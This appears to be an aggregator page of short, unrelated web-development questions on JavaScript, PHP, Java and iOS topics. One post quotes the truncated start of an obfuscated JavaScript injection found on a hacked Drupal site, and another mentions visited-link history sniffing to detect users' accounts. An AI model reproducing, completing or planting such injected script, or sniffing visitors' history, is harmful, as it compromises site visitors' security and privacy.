• Make C# source run as a script?

  - by acidzombie24

  I am doing a little scripting and i find some more power would be nice. Like the ability to keep trying to delete a file with a 1sec delay AND have it portable since i spent some time today translating a bat script to bash. I know i can use php or python but i VERY MUCH PREFER static/compile time checking. Is there a way to run C# code as a script? I am hoping i dont have to create a custom ext and write a app to dynamically compile and execute the script (i know have source to compile .js somewhere...). Does anyone know of a solution?

• Changing background images like this

  - by Azzyh

  If you guys check out this webpage: http://www2.scandvision.se/oresund10/ How have they done this background fade in fade out? When i check the source this <img id="wrapper-background" src="images/body-background-0.jpg" alt="Background" /> and i think theres some kind of script maybe php or js, or both, that every 5 sec changes the background: images/body-background-1.jpg images/body-background-2.jpg images/body-background-3.jpg and so on.. So how did they do this? an example would be great, as i want to learn how to do that. If i was going to do something like this i think i would only manage to do a script in php that randomize everytime you refresh. Thank you, this will expand my knowledge

• I can't see a cropper in IE7/8. No problem in FF and the demo (with IE7/8).

  - by user248959

  Hi, i have this cropper in my app. login: fer password: m Note: after loginning you will be redirected to another page. Then click again the link i mention. I can see it working in FF, but not in IE7/8 (Windows XP SP2, just installed). It's supposed it works ok, because I don't have any problems to operate the demo in both browsers, and in IE 8 Developer Tools the all the .js's necessary appeared as loaded. I have contacted with the developer of the cropper but he didn't reply. Any idea? Javi

• Chunks of javascript added to webpages on server

  - by SteD

  I've found out that my web pages (mainly index.php, main.html, include.inc) have been injected with a chunk of javascript codes at the very bottom after my original code. <script>try {this.l="";var d=window[unescape("%75%6e%65%73%63%61%70%65")];var M;if(M!='' && M!='a'){M='bt'};var A="";var Mc=new String();var e=null;this.k="";var t;if(t!='' && t!='iX'){t=''};var K=window[d("%52%65%67%45%78%70")];var p=d("%72%65%70%6c%61%63%65");function C(H,Z){var N=d("%5b" Is it possible for SQL injections to add the chunk of js code to the webpages(like 50 of them are infected)? Or is it a virus on the server itself? I am using Drupal + Ubercart with quite minimal forms inputs.

If CSS class is assigning CSS to element can't we read its value in JS ? Does this mean that if we are not assigning property directly to the element we cant get it if in case its inheriting it ?

• How do i translate this to "simpler" JavaScript?

  - by Julian Weimer

  Since i'm working with Titanium i realzed that its current JavaScript Interpreter doesn't accept specific coding-styles. So for for-loops and if-statements i have to have braces, even though i only want to span one line. Furthermore there is more i have to change if i want to use a Javascript Library like underscore.js. This is what Titanium doesn't want to see: if (!(result = result && iterator.call(context, value, index, list))) {_.breakLoop();} if (nativeSome && obj.some === nativeSome) {return obj.some(iterator, context);} var computed = iterator ? iterator.call(context, value, index, list) : value; computed >= result.computed && (result = {value : value, computed : computed}); Can i use a simpler syntax to describe the logic behind those lines of code?

• Pass codeigniter translation array to jQuery Function

  - by grolle

  Hi, I’ve a problem by passing an array to a jQuery function. Some code: // in the language file $lang['daynames'] = array('So','Mo','Di','Mi','Do','Fr','Sa'); //In the view var config = { basePath : '' }; // THIS WORKS GREAT!!! var days = new array('lang-line('daynames')); ?'); //in the js-File $(function() { $("#datepicker").datepicker({ dateFormat : 'dd.mm.yy', showWeek : true, firstDay : 1, weekHeader : 'KW', dayNamesMin : days, monthNames : ['Januar','Februar','März','April', 'Mai','Juni','Juli','August','September', 'Oktober','November','Dezember'], onSelect : function(dateText,inst){ } }); }); If I do lang-line(‘daynames’)); ? in the view everything looks fine, so what is wrong here? Thanks and best regards ...

• Project hosting on Google Code. Files are cahced?

  - by Frexuz

  I do not really understand how Google Code handles file versioning. I am building a jQuery plugin that anyone can access. Like so: <script type="text/javascript" src="http://jquery-old-browser-warning.googlecode.com/files/jquery.browser-warning.js"></script> This script accesses other files on the same project (via ajax). The problem is, that when I upload a new file, it just seems like there aren't any changed to it. Google recommends that new files should have new names. But then I would have to change the filenames that the script loads. But then I would have to change the script file as well, and that would break everybodys implementation (with the script-tag above) Is there a way to force a file to change when uploading with the same filename? PS: If I go directly to the project page's file list. Then I do get the file with the updated content. But as I said, not when getting it through ajax.

How to make the form to not submit if username exists? Suppose there is a hidden field in the form say <input type="text" hidden id="type" value="<?php echo $type;?>"> Then if value exists in the hidden field then the username neednot be checked if already exists or not.

• Techniques for querying a set of object in-memory in a Java application

  - by Edd Grant

  Hi All, We have a system which performs a 'coarse search' by invoking an interface on another system which returns a set of Java objects. Once we have received the search results I need to be able to further filter the resulting Java objects based on certain criteria describing the state of the attributes (e.g. from the initial objects return all objects where x.y z && a.b == c). The criteria used to filter the set of objects each time is partially user configurable, by this I mean that users will be able to select the values and ranges to match on but the attributes they can pick from will be a fixed set. The data sets are likely to contain <= 10,000 objects for each search. The search will be executed manually by the application user base probably no more than 2000 times a day (approx). It's probably worth mentioning that all the objects in the result set are known domain object classes which have Hibernate and JPA annotations describing their structure and relationship. Off the top of my head I can think of 3 ways of doing this: For each search persist the initial result set objects in our database, then use Hibernate to re-query them using the finer grained criteria. Use an in-memory Database (such as hsqldb?) to query and refine the initial result set. Write some custom code which iterates the initial result set and pulls out the desired records. Option 1 seems to involve a lot of toing and froing across a network to a physical Database (Oracle 10g) which might result in a lot of network and disk activity. It would also require the results from each search to be isolated from other result sets to ensure that different searches don't interfere with each other. Option 2 seems like a good idea in principle as it would allow me to do the finer query in memory and would not require the persistence of result data which would only be discarded after the search was complete. Gut feeling is that this could be pretty performant too but might result in larger memory overheads (which is fine as we can be pretty flexible on the amount of memory our JVM gets). Option 3 could be very performant but is something I would like to avoid as any code we write would require such careful testing that the time taken to acheive something flexible and robust enough would probably be prohibitive. I don't have time to prototype all 3 ideas so I am looking for comments people may have on the 3 options above, plus any further ideas I have not considered, to help me decide which idea might be most suitable. I'm currently leaning toward option 2 (in memory database) so would be keen to hear from people with experience of querying POJOs in memory too. Hopefully I have described the situation in enough detail but don't hesitate to ask if any further information is required to better understand the scenario. Cheers, Edd

• How do to check to see if the user has a Google account.

  - by skrat

  Is there any safe way to detect, on a web page, client side (JS), whether user has an Google/Yahoo/Live/? account? I know about some suspicious ways to do this by styling visited links and then sneaking on computed style attribute, but it's more of a hack, Mozilla and maybe other are planning to crack down on this, as it might be abused. But I need this to allow users more integration with their identity providers, like: Have a Google account? ~ load contacts for sharing from Google Contacts API Have an Yahoo account? ~ load contacts for sharing from Yahoo Contacts API none of the above? show no link I don't want to provide all these options to all visitors, would be nice if I can detect the account, and provide integration only in that case.

• How can I link in both remote and local assets into a webview?

  - by Greg

  I'm loading HTML-formatted content into my app from a web service, then plugging that into a local HTML template that lives within the app. Now, I need to set the UIWebView's BaseURL to point at the remote server so that all relative image links will load. However, I'm also trying to link in some local assets (CSS, JavaScript). Thus far, I have not found any documentation on how to link in local assets without relying on the UIWebView's baseURL. I've tried injecting the absolute file path of my CSS and JS into my HTML template, but it hasn't worked... I don't know if that means that it doesn't work, or if I'm just doing it wrong. Has anyone ever run into this scenario, and if so, how did you address it? Thanks in advance, I really appreciate any tips!

• Web Application - Authentication / Login Framework

  - by user456563

  This is a very simple, probably a most asked question and frequently developed as part of any web application. Say I'm planning to build a web application and some of the functional requirements include (apart from the usual hard hitting security reqs), - Need to have users sign up for a new account profile - Authenticate user using the native app authentication / Facebook or Google or Yahoo or OpenId login - Allow lost password retrieval - Session handling needs Is there an out of the box frameworks (Drupal, Liferay??) that I can use to wrap my application which can be a bunch of JSP's or HTML's with JS? I know I'm asking a very simple and maybe a naive question. But this is a topic every web developer guru will go thru. Any help, advise and pointers much appreciated.

• html5media & flowplayer wmode issues...

  - by minusidea

  I'm working on our new homepage and need to implement a solution that will run a video across iphone/ipad and the standard web browsers. I found a pretty decent solution with html5media - http://code.google.com/p/html5media/ but ran across an issue with a jquery dropdown falling behind the the swf object (this only happens on FF & IE - works fine on Safari & Chrome because it's loading mp4 instead of a swf object). I know the issue is the wmode setting but can not for the life of me figure out where to set it in the html5media (http://html5media.googlecode.com/svn/trunk/src/html5media.min.js). I'm hoping someone can help me or possibly give me a better solution of implementing the video. You can see the development page at idssite(dot)com/development/index.php - Sorry I can't link I'm being stopped by the spam prevention mechanism. Thanks
